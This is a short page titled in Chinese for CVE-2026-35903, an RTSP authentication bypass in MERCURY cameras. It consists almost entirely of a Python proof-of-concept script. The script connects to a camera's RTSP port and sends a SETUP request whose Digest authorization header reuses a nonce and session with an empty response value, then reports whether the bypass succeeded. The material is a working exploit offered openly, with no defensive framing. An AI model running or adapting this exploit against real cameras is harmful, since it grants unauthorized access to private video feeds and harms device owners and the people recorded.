CVE-2026-35903 MERCURY摄像头RTSP认证绕过漏洞

import socket # Target Configuration TARGET_IP = "192.168.1.10" TARGET_PORT = 554 # This PoC demonstrates the authentication bypass. # Step 1: Attacker establishes a session or captures valid nonce/session ID. # Step 2: Attacker sends RTSP commands with valid nonce/session but INVALID response. def exploit_rtsp_bypass(): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((TARGET_IP, TARGET_PORT)) # Initial DESCRIBE request to get the Nonce (Assuming we can sniff or have credentials for this step) # In a real attack, this phase requires one valid auth or network sniffing. req1 = "DESCRIBE rtsp://" + TARGET_IP + ":554/ RTSP/1.0\r\nCSeq: 1\r\nUser-Agent: Python/RTSP\r\n\r\n" sock.send(req1.encode()) resp1 = sock.recv(4096).decode() print("[+] Initial Response:", resp1.split('\r\n')[0]) # Assume we extracted Nonce: "abc123" and Realm: "MERCURY" from resp1 # And we performed a valid auth to get Session: "12345678" # Now we attempt to send a SETUP command with an EMPTY response parameter. # Malicious Authorization Header: Response is empty, but Nonce/Session are valid # This exploits the vulnerability: device checks Nonce/Session but ignores Response. malicious_auth = 'Digest username="admin", realm="MERCURY", nonce="abc123", uri="rtsp://192.168.1.10:554/", response=""' # Sending SETUP request to exploit the bypass exploit_req = ( "SETUP rtsp://" + TARGET_IP + ":554/trackID=1 RTSP/1.0\r\n" "CSeq: 2\r\n" "Session: 12345678\r\n" "Authorization: " + malicious_auth + "\r\n" "Transport: RTP/AVP;unicast;client_port=5000-5001\r\n" "\r\n" ) print("[*] Sending Exploit Request with empty Digest response...") sock.send(exploit_req.encode()) resp2 = sock.recv(4096).decode() print("[+] Exploit Response:", resp2.split('\r\n')[0]) if "200 OK" in resp2: print("[!] VULNERABILITY CONFIRMED: Authentication bypassed!") else: print("[-] Attack failed or patched.") sock.close() if __name__ == "__main__": exploit_rtsp_bypass()